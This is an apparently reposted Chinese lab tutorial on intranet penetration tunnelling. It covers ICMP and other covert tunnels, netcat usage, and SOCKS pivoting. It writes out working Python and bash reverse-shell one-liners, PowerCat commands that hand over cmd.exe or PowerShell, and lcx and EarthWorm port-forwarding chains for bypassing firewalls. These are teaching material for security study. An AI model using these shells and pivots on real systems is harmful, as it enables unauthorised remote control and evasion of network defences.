内网渗透基石篇 | 您所在的位置:网站首页 › pptp udp › 内网渗透基石篇 |
前言 在实际的网络中,通常会通过各种边界设备、软/硬件防火墙甚至入侵检测系统来检查对外连接情况,如果发现异样,就会对通信进行阻断。那么什么是隧道呢?这里的隧道,就是一种绕过端口屏蔽的通信方式。防火墙两端的数据包通过防火墙所允许的数据包类型或端口进行封装,然后穿过防火墙,与对方进行通信。当封装的数据包到达目的地时,将数据包还原,并将还原后的数据包发送到相应服务器上。 一、隐藏通信隧道基础知识隧道隧道技术是一种通过使用互联网络的基本设施在网络之间传递数据的方式,使用隧道传递的数据(或负载)可以是不同协议的数据帧或包。隧道技术将其他协议的数据帧或者数据包重新封装然后通过隧道发送。新的帧头提供路由信息,以便互联网传递被封装的负载数据。 在不受信任的网络环境中实现安全的通信 通常使用多种加密技术建立通信隧道 点到点(IP2IP)、端到端(Port2Port)隧道 VPN : PPTP、l2tp、IPSec、SSL vpn (1) 隐藏通信隧道概述 一般的网络通信,先在两台机器之间建立tcp连接,然后进行正常的数据通信。在指定ip地址的情况下,可以直接发送报文;如果不知道ip地址,就需要将域名解析成ip地址。在实际的网络中,通常会通过各种边界设备、软/硬件防火墙 常用的隧道列举如下。 网络层:Ipv6情况、icmp情况、Gre隧道0 传输层: Tcp 隧道、udp 隧道 常规端口转发 · 应用层: ssh隧道、http隧道、https隧道、dns隧道 判断内网的连通性判断内网的连通性是指判断机器能否上外网。 要综合判断各种协议(TCp、HHTp、DNs、Icmp)及端口通信的情况。常见的运行流量流出的端口有80,8080 ,443,53,110,1213等 1.ICMP协议 场景:两台机器间,除了允许互ping,其他的TCP/UDP端口一律不允许,此时可以考虑使用ICMP进行穿透 原理Windows系统默认传输32bytes的数据,内容是固定的abcdefghijklmnopqrstuvwabcdefghi,ping包的大小是可以改变的,但是内容依旧不变,循环 Linux系统默认传输48bytes,头信息比较复杂,但是内容也是固定!”#$%&’()+,-./01234567 ICMP隐蔽隧道的原理就是:替换Data部分,利用客户端程序进行接收并处理服务端发送的畸形的ICMP协议(主要是Request和Reply包) 命令: 执行命令”ping 1.txt (7)简易聊天nc -l -p 888 3.获取shell:1.正向shell:客户端想要获得服务端的shell第一步:在kali (服务端)上监听4444端口,并反弹shell 第二步:在centos(客户端)上连接kali 的4444端口 这个时候,客户端就拿到服务端的shell控制权了 可以随意控制服务端 2.反向shell:服务端想要获得客户端的shell(也就是反弹shell)先弹shell就是正向shell,后连接 后弹shell就是反向shell,先监听 4.在目标主机中没有nc时获取反向shell1.python反向shell nc -lvp 2222 1.服务端(kali 上监听2222) 2.客户端一上线,服务端就成功控制客户端了 3.另一台kali执行py脚本,进行反弹shell。 python -c 'import socket,subprocess,os; \ s=socket.socket(socket.AF_INET,socket.SOCK_STREAM); s.connect(("10.10.10.128",2222)); os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2); p=subprocess.call(["/bin/sh","-i"]);'(2)bash反向shellbash -i >& /dev/tcp/10.10.10.128/4444 0>&1(3)php反向shell五、内网代理Socks代理Socks是一种代理服务,可以简单地将一端的系统连接到另外一端,并且支持多种协议,包括http、ftp请求及其他类型的请求。 有socks4和5两种类型,socks4只支持TCP协议而socks 5支持TCP/UDP协议,还支持各种身份认证机制等协议 Lcx1.介绍 最为经典而且也是最为频繁的端口转发工具,是一个基于socket套接字实现的端口转发工具,从linux下的htran移植给Windows的。 //内网机器10.0.0.1的3389端口,转发到公网9000端口 lcx.exe -slave 192.168.1.161900010.0.0.13389 //公网机器192.168.1.1,将本机端口9000上监听的所有数据转发到本机5555上 lcx.exe -listen 9000 5555 2.二级网络环境 (一) #A主机存在双网卡,外网IP,可连接目标网络内主机B #B主机不能访问外网,能连接A #B先启动socks代理 ew_for_win32.exe -s ssocksd -l 8888 #A 将1080收到的代理请求转发给B的8888端口 ew_for_win32.exe -s lcx_tran -l 1080 -f 192.168.99.101 -g 8888 3.二级网络环境 (二) #A主机存在双网卡,内网IP,可连接目标网络内主机B和外网 #B主机不能访问外网,能连接A #VPS下 ew_for_win32.exe -s lcx_listen -l 8899 -e 8888 #B主机下 ew_for_win32.exe -s ssocksd -l 9999 #A主机下 将公网的8888和内网B的9999连接起来 ew_for_win32.exe -s lcx_slave -d vpsIP -e 8888 -f 192.168.99.101 -g 9999 实验环境: kali:10.10.10.128 centos:10.10.10.133 kali:10.10.10.136 第一步:在kali 上操作执行监听3333端口 第二步:在centos上写入文件连接 第三步:在另一台上执行反向连接 powerCat1.下载PowerCat 2.PowerCAt命令详解 1.通过nc正向连接powerCat powercat -l -p 23333 -e cmd.exe -vnc 10.10.10.147 23333 -vv2.通过nc反向连接powercat nc -lp 23333 -vvpowercat -c 10.10.10.128 -p 23333 -v -e cmd.exe3.通过PowerCat返回POwerShell powercat -l -p 23333 -vpowercat -c 10.10.10.128 -p 23333 -v -ep4.通过PowerCat传输文件 总结内网隧道基础上就到这里了,在本文中简单做了几个实验,都很基础,用来理解基础知识刚刚好。 |
CopyRight 2018-2019 实验室设备网 版权所有 |